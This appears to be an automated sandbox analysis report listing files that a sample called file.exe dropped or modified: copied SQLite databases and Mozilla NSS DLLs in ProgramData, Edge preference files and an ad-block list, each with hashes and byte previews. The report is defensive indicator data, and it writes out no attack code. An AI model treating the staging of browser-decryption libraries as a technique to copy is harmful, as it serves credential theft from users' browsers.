Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JDHCBAEHJJJKKFIDGHJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEGIDHJKKJDGCBGCGIJKKECAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89hSGjVrv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\07488784-b7fb-4104-8a3a-344a16366af5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44632
Entropy (8bit):	6.096617262145103
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBKwuXhDO6vP6O7i8iYmD304CD4DcH38cGoup1Xl34:z/Ps+wsI7ynE56bgNchu3VlXr4CRo1
MD5:	94871CCB65A8C99B941470D9C72CA239
SHA1:	1C1A68C770D2F444F028D8BC1B6A86A363736B66
SHA-256:	09070D4C3305189AB011595805EB16348264BBA0DEFB6F1F95B42121929091A1
SHA-512:	7D3B8328825B4D7B45F944D8B3995F351E9E0658ECDEF7532B4F221FBCCDD8DAF65556BB1570CC6DF755A023C471D2344AA11DC7E2EEC2077FC8BE46464C8AC7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1be492b5-d28b-4fe1-9140-6985443b2163.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46128
Entropy (8bit):	6.088701380028193
Encrypted:	false
SSDEEP:	768:BMkbJrT8IeQc5koT38u0hDO6vP6O7i8iYmDDreuEgTh329fLbCAoRGoup1Xl3jVV:BMk1rT8H8oTx6bgB29LbRoRhu3VlXr42
MD5:	44995D2D9813C4A13359BA3AD2C782B8
SHA1:	B3F128192046A04EB173BD7CA485376EBB0509DC
SHA-256:	A682361C4D78E7108622501F7C8835763664F4002F1ADCD9558BAFF6B2A5BB99
SHA-512:	54A1E8B1628ACB8E4E9593B12D09A5B1BCCE1E01E68B882386B83B48C1CD59D23D6780F96747749FEF9901330B15B60AA7D1AAF8BA9CDC9EEB9032C56E538ED3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732230705"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3ac5a80e-e7d4-420d-855f-9b2b781e5825.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46051
Entropy (8bit):	6.088771601915478
Encrypted:	false
SSDEEP:	768:BMkbJrT8IeQc5d9T38u0hDO6vP6O7i8iYmDrreuEgTh329fLbCAoRGoup1Xl3jVV:BMk1rT8H19Tx6bgZ29LbRoRhu3VlXr42
MD5:	53D080E86EFAC1BE26B37CE7E956D6B8
SHA1:	45545A5ABD8AC782C228ED17B1937A24353ED524
SHA-256:	040DBD994C73F923E4EA500554D739B173D37356FA3B028BE61CDB7E34E52DF7
SHA-512:	C95C633ADEC69C257B4E1C052922EC6DA9F4DCC15E2B8034808AEB673A0C6BD6C988E27BB58068DDB1B5E1F6E11C0181C68D3100FF4D62997B34EE6A5AFF3CA2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732230705"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\55ba6956-25d2-4779-a6be-077f57373537.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46004
Entropy (8bit):	6.089035586426774
Encrypted:	false
SSDEEP:	768:BMkbJrT8IeQc5d9Tj8u0hDO6vP6O7i8iYmDrreuEgTh329fLbCAoRGoup1Xl3jVV:BMk1rT8H19TV6bgZ29LbRoRhu3VlXr42
MD5:	17559688F309C2EF5C3C6719E933F384
SHA1:	675D123735D3ED302263279FF5B1224407A3B3A6
SHA-256:	095BA6FB358705A5B9CDC6E9DDA35CD007392878AF03C563CBE6E8FF488F9AF6
SHA-512:	A01E9E908C390CE9EAFC532ACB084F9417D6E4ABF14FF79D13F2DCB119890F47E501B5C0B09B20452CBE7D916A2CEAE53B784D4A8DE75F3D877D0AA96F88D005
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732230705"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\98adef91-d97c-4f67-8373-1876dcb5b805.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44698
Entropy (8bit):	6.0962736510538935
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBwwuXhDO6vP6O7i8iYmDrreuEgTh3cGoup1Xl3jVu:z/Ps+wsI7yOEL6bgZchu3VlXr4CRo1
MD5:	D991876443D774DB0C457CC39DA6162F
SHA1:	E78DD9366546A89586DDFCFB233A05D26E96E65D
SHA-256:	F6797CF1D35A9791ED3D97D7E21989267487AF015A946631E4F8A38AAD55D2ED
SHA-512:	D97C36AC67B2EEB246D1DBCDE4DB0024C04D1A86B2E4F0434CE9994C4FEAB2FB78E7C686E2900B2ACF8C429B302347E0618FC6B2759D1E2024D39C68F750F4FC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f9b9f7dc-fc2e-4d43-8a6d-9759e585f757.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673FBE2B-1E1C.pma

Download File

